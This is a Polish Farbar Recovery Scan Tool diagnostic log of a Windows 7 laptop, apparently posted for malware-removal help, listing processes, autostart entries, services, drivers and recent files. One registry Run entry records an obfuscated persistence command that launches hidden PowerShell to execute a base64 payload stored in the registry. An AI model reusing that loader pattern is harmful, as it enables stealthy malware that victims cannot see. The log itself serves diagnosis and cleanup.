Rezultaty skanowania Farbar Recovery Scan Tool (FRST) (x86) Wersja: 28-09-2016
Uruchomiony przez User (administrator)  USER-KOMPUTER (30-09-2016 15:42:06)
Uruchomiony z C:\Users\User\Desktop
Załadowane profile: User (Dostępne profile: User)
Platform: Microsoft Windows 7 Home Premium  Service Pack 1 (X86) Język: Polski (Polska)
Internet Explorer Wersja 11 (Domyślna przeglądarka: FF)
Tryb startu: Normal
Instrukcja obsługi Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Procesy (filtrowane) =================

(Załączenie wejścia w fixlist spowoduje zamknięcie procesu. Powiązany plik nie zostanie przeniesiony.)

(IDT, Inc.) C:\Program Files\IDT\WDM\stacsv.exe
(Andrea Electronics Corporation) C:\Program Files\IDT\WDM\AEstSrv.exe
(CHENGDU YIWO Tech Development Co., Ltd) C:\Program Files\EaseUS\Todo Backup\bin\Agent.exe
(ESET) C:\Program Files\ESET\ESET Smart Security\ekrn.exe
(IDT, Inc.) C:\Program Files\IDT\WDM\sttray.exe
(Dell Inc.) C:\Program Files\Dell\QuickSet\quickset.exe
(Alps Electric Co., Ltd.) C:\Program Files\DellTPad\Apoint.exe
(Intel Corporation) C:\Windows\System32\igfxtray.exe
(Intel Corporation) C:\Windows\System32\hkcmd.exe
(Intel Corporation) C:\Windows\System32\igfxpers.exe
(ESET) C:\Program Files\ESET\ESET Smart Security\egui.exe
(SEIKO EPSON CORPORATION) C:\Windows\System32\spool\drivers\w32x86\3\E_FATILEE.EXE
(Alps Electric Co., Ltd.) C:\Program Files\DellTPad\ApMsgFwd.exe
(Skype Technologies S.A.) C:\Program Files\Skype\Phone\Skype.exe
(TeamViewer GmbH) C:\Program Files\TeamViewer\TeamViewer_Service.exe
(Alps Electric Co., Ltd.) C:\Program Files\DellTPad\hidfind.exe
(Alps Electric Co., Ltd.) C:\Program Files\DellTPad\ApntEx.exe
() C:\Program Files\EaseUS\Todo Backup\bin\TodoBackupService.exe
(TeamViewer GmbH) C:\Program Files\TeamViewer\TeamViewer.exe
(Microsoft Corporation) C:\Windows\System32\vds.exe
(TeamViewer GmbH) C:\Program Files\TeamViewer\tv_w32.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Management Engine Components\UNS\UNS.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe


==================== Rejestr (filtrowane) ====================

(Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci. Powiązany plik nie zostanie przeniesiony.)

HKLM\...\Run: [SysTrayApp] => C:\Program Files\IDT\WDM\sttray.exe [1138783 2011-05-27] (IDT, Inc.)
HKLM\...\Run: [QuickSet] => C:\Program Files\Dell\QuickSet\QuickSet.exe [3405168 2011-03-24] (Dell Inc.)
HKLM\...\Run: [Apoint] => C:\Program Files\DellTPad\Apoint.exe [501104 2011-03-29] (Alps Electric Co., Ltd.)
HKLM\...\Run: [Adobe Reader Speed Launcher] => C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe [37296 2012-01-03] (Adobe Systems Incorporated)
HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [843712 2012-01-02] (Adobe Systems Incorporated)
HKLM\...\Run: [SunJavaUpdateSched] => C:\Program Files\Common Files\Java\Java Update\jusched.exe [271744 2015-04-10] (Oracle Corporation)
HKLM\...\Run: [egui] => C:\Program Files\ESET\ESET Smart Security\egui.exe [2145000 2010-04-07] (ESET)
HKU\S-1-5-21-1293939364-4137197343-2779268670-1000\...\Run: [EPLTarget\P0000000000000000] => C:\Windows\system32\spool\DRIVERS\W32X86\3\E_FATILEE.EXE [260160 2013-04-26] (SEIKO EPSON CORPORATION)
HKU\S-1-5-21-1293939364-4137197343-2779268670-1000\...\Run: [Skype] => C:\Program Files\Skype\Phone\Skype.exe [29544576 2016-08-17] (Skype Technologies S.A.)
HKU\S-1-5-21-1293939364-4137197343-2779268670-1000\...\Run: [{E9C93E7A-DC36-4E9E-9FF6-DA002F8B7829}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\WSAasgKSPmqLOk').kjnHgEWOReXFkVT)));
HKU\S-1-5-18\Control Panel\Desktop\\SCRNSAVE.EXE -> 

==================== Internet (filtrowane) ====================

(Załączenie wejścia w fixlist, w przypadku gdy jest to obiekt rejestru, spowoduje usunięcie go z rejestru lub przywrócenie jego domyślnej postaci.)

Tcpip\Parameters: [DhcpNameServer] 192.168.73.9 0.0.0.0
Tcpip\..\Interfaces\{FAE17F39-81B9-46FF-8787-9295E46EE99F}: [DhcpNameServer] 192.168.73.9 0.0.0.0

Internet Explorer:
==================
BHO: Adobe PDF Link Helper -> {18DF081C-E8AD-4283-A596-FA578C2EBDC3} -> C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll [2012-01-03] (Adobe Systems Incorporated)
BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre7\bin\ssv.dll [2015-10-11] (Oracle Corporation)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre7\bin\jp2ssv.dll [2015-10-11] (Oracle Corporation)

FireFox:
========
FF ProfilePath: C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\dat3n56j.default
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF32_23_0_0_162.dll [2016-09-14] ()
FF Plugin: @adobe.com/ShockwavePlayer -> C:\Windows\system32\Adobe\Director\np32dsw_1220162.dll [2015-08-31] (Adobe Systems, Inc.)
FF Plugin: @google.com/npPicasa3,version=3.0.0 -> C:\Program Files\Google\Picasa3\npPicasa3.dll [2015-10-09] (Google, Inc.)
FF Plugin: @java.com/DTPlugin,version=10.79.2 -> C:\Program Files\Java\jre7\bin\dtplugin\npDeployJava1.dll [2015-10-11] (Oracle Corporation)
FF Plugin: @java.com/JavaPlugin,version=10.79.2 -> C:\Program Files\Java\jre7\bin\plugin2\npjp2.dll [2015-10-11] (Oracle Corporation)
FF Plugin: @microsoft.com/GENUINE -> disabled [Brak pliku]
FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 9.0\Reader\AIR\nppdf32.dll [2012-01-03] (Adobe Systems Inc.)
FF Extension: (Firefox Hotfix) - C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\dat3n56j.default\Extensions\firefox-hotfix@mozilla.org.xpi [2016-09-14]
FF Extension: (Adblock Plus) - C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\dat3n56j.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2016-05-19]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET Smart Security\Mozilla Thunderbird
FF Extension: (ESET Smart Security Extension) - C:\Program Files\ESET\ESET Smart Security\Mozilla Thunderbird [2015-10-11] [Brak podpisu cyfrowego]

==================== Usługi (filtrowane) ====================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R2 EaseUS Agent; C:\Program Files\EaseUS\Todo Backup\bin\Agent.exe [36904 2015-08-01] (CHENGDU YIWO Tech Development Co., Ltd)
S3 EhttpSrv; C:\Program Files\ESET\ESET Smart Security\EHttpSrv.exe [33560 2010-04-07] (ESET)
R2 ekrn; C:\Program Files\ESET\ESET Smart Security\ekrn.exe [810120 2010-04-07] (ESET)
S3 Lenovo EasyPlus Hotspot; C:\Program Files\Common Files\LENOVO\easyplussdk\bin\EPHotspot.exe [509424 2015-06-08] (Lenovo)
S3 ShareItSvc; C:\Program Files\Lenovo\SHAREit\Shareit.Service.exe [31704 2016-03-31] (SHAREit Technologies Co.Ltd)
R2 STacSV; C:\Program Files\IDT\WDM\STacSV.exe [282709 2011-05-27] (IDT, Inc.)
R2 TeamViewer; C:\Program Files\TeamViewer\TeamViewer_Service.exe [5702416 2015-09-11] (TeamViewer GmbH)
R2 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2015-04-14] (Microsoft Corporation)

===================== Sterowniki (filtrowane) ======================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R2 eamonm; C:\Windows\System32\DRIVERS\eamonm.sys [133512 2010-04-07] (ESET)
R1 ehdrv; C:\Windows\System32\DRIVERS\ehdrv.sys [114984 2010-04-07] (ESET)
R2 epfw; C:\Windows\System32\DRIVERS\epfw.sys [134488 2010-04-07] (ESET)
R3 Epfwndis; C:\Windows\System32\DRIVERS\Epfwndis.sys [32584 2010-04-07] (ESET)
R2 epfwwfp; C:\Windows\System32\DRIVERS\epfwwfp.sys [41312 2010-04-07] (ESET)
R0 EUBAKUP; C:\Windows\System32\drivers\eubakup.sys [51752 2014-12-15] (CHENGDU YIWO Tech Development Co., Ltd)
R0 EUBKMON; C:\Windows\System32\drivers\EUBKMON.sys [41512 2014-12-15] ()
R1 EUDSKACS; C:\Windows\system32\drivers\eudskacs.sys [15912 2014-12-15] (CHENGDU YIWO Tech Development Co., Ltd)
R1 EUFDDISK; C:\Windows\system32\drivers\EuFdDisk.sys [189992 2014-12-15] (CHENGDU YIWO Tech Development Co., Ltd)
S3 PortTalk; C:\Windows\System32\Drivers\PortTalk.sys [3567 2002-01-12] (Beyond Logic hxxp://www.beyondlogic.org) [Brak podpisu cyfrowego]
R3 teamviewervpn; C:\Windows\System32\DRIVERS\teamviewervpn.sys [25088 2015-08-18] (TeamViewer GmbH)
S0 5d8039a9b7e0d966; \SystemRoot\System32\Drivers\5d8039a9b7e0d966.sys [X]

==================== NetSvcs (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)


==================== Jeden miesiąc - utworzone pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2016-09-30 15:42 - 2016-09-30 15:42 - 00009200 _____ C:\Users\User\Desktop\FRST.txt
2016-09-30 15:39 - 2016-09-30 15:41 - 00199910 _____ C:\TDSSKiller.3.1.0.11_30.09.2016_15.39.42_log.txt
2016-09-30 15:39 - 2016-09-30 15:38 - 04747704 _____ (AO Kaspersky Lab) C:\Users\User\Desktop\tdsskiller.exe
2016-09-30 10:57 - 2016-09-30 10:57 - 02870984 _____ (ESET) C:\Users\User\Downloads\esetsmartinstaller_plk.exe
2016-09-30 08:10 - 2016-09-30 08:11 - 00064278 _____ C:\Windows\ntbtlog.txt
2016-09-30 07:15 - 2016-09-30 07:16 - 00075979 _____ C:\net-log.txt
2016-09-30 07:12 - 2016-09-30 15:42 - 00000000 ____D C:\FRST
2016-09-30 07:12 - 2016-09-30 15:41 - 00000000 ____D C:\Users\User\Desktop\_dell
2016-09-30 07:12 - 2016-09-30 07:09 - 01754624 _____ (Farbar) C:\Users\User\Desktop\FRST.exe
2016-09-15 19:09 - 2016-09-15 20:04 - 00757715 _____ C:\Users\User\Desktop\Cechy gospodarki rynkowej.pptx
2016-09-15 18:49 - 2016-09-15 18:49 - 02288128 _____ C:\Users\User\Downloads\02_System_gospodarki_rynkowej.ppt
2016-09-14 17:57 - 2016-09-15 18:58 - 00000000 ____D C:\Program Files\Mozilla Firefox
2016-09-14 14:23 - 2016-09-14 14:32 - 00000000 ____D C:\Users\User\Desktop\skany austria
2016-09-14 14:20 - 2016-09-14 14:20 - 03201237 _____ C:\Users\User\Downloads\Scan0265 (3).pdf
2016-09-14 14:07 - 2016-09-14 14:07 - 03201237 _____ C:\Users\User\Downloads\Scan0265 (2).pdf
2016-09-14 09:06 - 2016-09-14 09:06 - 08222197 _____ C:\Users\User\Downloads\Scan0241 (2).pdf
2016-09-14 09:03 - 2016-09-14 09:04 - 03201237 _____ C:\Users\User\Downloads\Scan0265 (1).pdf
2016-09-13 19:42 - 2016-09-13 19:42 - 00833508 _____ C:\Users\User\Downloads\627 - Załącznik nr 1 (1).pdf
2016-09-13 19:41 - 2016-09-13 19:41 - 00833508 _____ C:\Users\User\Downloads\627 - Załącznik nr 1.pdf
2016-09-09 21:19 - 2016-09-09 21:19 - 03201237 _____ C:\Users\User\Downloads\Scan0265.pdf

==================== Jeden miesiąc - zmodyfikowane pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2016-09-30 15:41 - 2011-04-12 07:08 - 00739932 _____ C:\Windows\system32\perfh015.dat
2016-09-30 15:41 - 2011-04-12 07:08 - 00155474 _____ C:\Windows\system32\perfc015.dat
2016-09-30 15:41 - 2010-11-20 23:01 - 01668226 _____ C:\Windows\system32\PerfStringBackup.INI
2016-09-30 15:41 - 2009-07-14 04:37 - 00000000 ____D C:\Windows\inf
2016-09-30 15:37 - 2015-10-11 11:25 - 00000000 ____D C:\Users\User\AppData\Roaming\Skype
2016-09-30 15:37 - 2009-07-14 06:53 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2016-09-30 12:13 - 2016-08-06 21:20 - 00000930 _____ C:\Windows\Tasks\Adobe Flash Player Updater.job
2016-09-30 11:54 - 2015-11-20 20:54 - 00000917 _____ C:\Windows\Tasks\EPSON XP-412 413 415 Series Update {4247D237-77B3-4533-8C78-F4545C44BF53}.job
2016-09-30 11:54 - 2015-11-20 20:54 - 00000731 _____ C:\Windows\Tasks\EPSON XP-412 413 415 Series Invitation {4247D237-77B3-4533-8C78-F4545C44BF53}.job
2016-09-30 10:57 - 2015-10-11 11:16 - 00000000 ____D C:\Program Files\ESET
2016-09-30 10:31 - 2010-11-20 22:57 - 00000000 ____D C:\Users\Administrator
2016-09-30 10:02 - 2015-10-11 11:38 - 00000000 ____D C:\Program Files\Opera
2016-09-30 09:54 - 2009-07-14 06:52 - 00000000 ____D C:\Windows\system32\FxsTmp
2016-09-30 07:17 - 2015-10-14 10:25 - 00000000 ____D C:\Program Files\TeamViewer
2016-09-30 07:16 - 2009-07-14 06:34 - 00016640 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2016-09-30 07:16 - 2009-07-14 06:34 - 00016640 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2016-09-30 06:48 - 2015-10-11 10:59 - 00000000 ____D C:\Windows\system32\Macromed
2016-09-30 06:48 - 2015-04-14 21:04 - 00000000 ___SD C:\Windows\system32\GWX
2016-09-30 06:48 - 2009-07-14 04:37 - 00000000 ____D C:\Windows\system32\NDF
2016-09-30 06:48 - 2009-07-14 04:37 - 00000000 ____D C:\Windows\registration
2016-09-24 16:43 - 2016-04-23 13:53 - 00000992 _____ C:\Windows\Tasks\Adobe Flash Player PPAPI Notifier.job
2016-09-21 12:53 - 2016-04-21 12:38 - 00000000 ____D C:\Users\User\AppData\Local\ElevatedDiagnostics
2016-09-17 08:24 - 2015-10-11 10:00 - 00000000 ____D C:\Program Files\Mozilla Maintenance Service
2016-09-14 10:13 - 2015-10-11 10:59 - 00796352 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2016-09-14 10:13 - 2015-10-11 10:59 - 00142528 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl
2016-09-10 07:32 - 2015-12-19 10:18 - 00000000 ___RD C:\Program Files\Skype
2016-09-10 07:32 - 2015-10-11 11:25 - 00000000 ____D C:\ProgramData\Skype

Niektóre pliki w TEMP:
====================
C:\Users\User\AppData\Local\Temp\cdo3642605190mbmb.dll


==================== Bamital & volsnap ======================

(Brak automatycznej naprawy dla plików które nie przeszły weryfikacji.)

C:\Windows\explorer.exe => Plik podpisany cyfrowo
C:\Windows\system32\winlogon.exe => Plik podpisany cyfrowo
C:\Windows\system32\wininit.exe => Plik podpisany cyfrowo
C:\Windows\system32\svchost.exe => Plik podpisany cyfrowo
C:\Windows\system32\services.exe => Plik podpisany cyfrowo
C:\Windows\system32\User32.dll => MD5 jest poprawne
C:\Windows\system32\userinit.exe => Plik podpisany cyfrowo
C:\Windows\system32\rpcss.dll => Plik podpisany cyfrowo
C:\Windows\system32\dnsapi.dll => Plik podpisany cyfrowo
C:\Windows\system32\Drivers\volsnap.sys => Plik podpisany cyfrowo


LastRegBack: 2016-09-15 08:32

==================== Koniec  FRST.txt ============================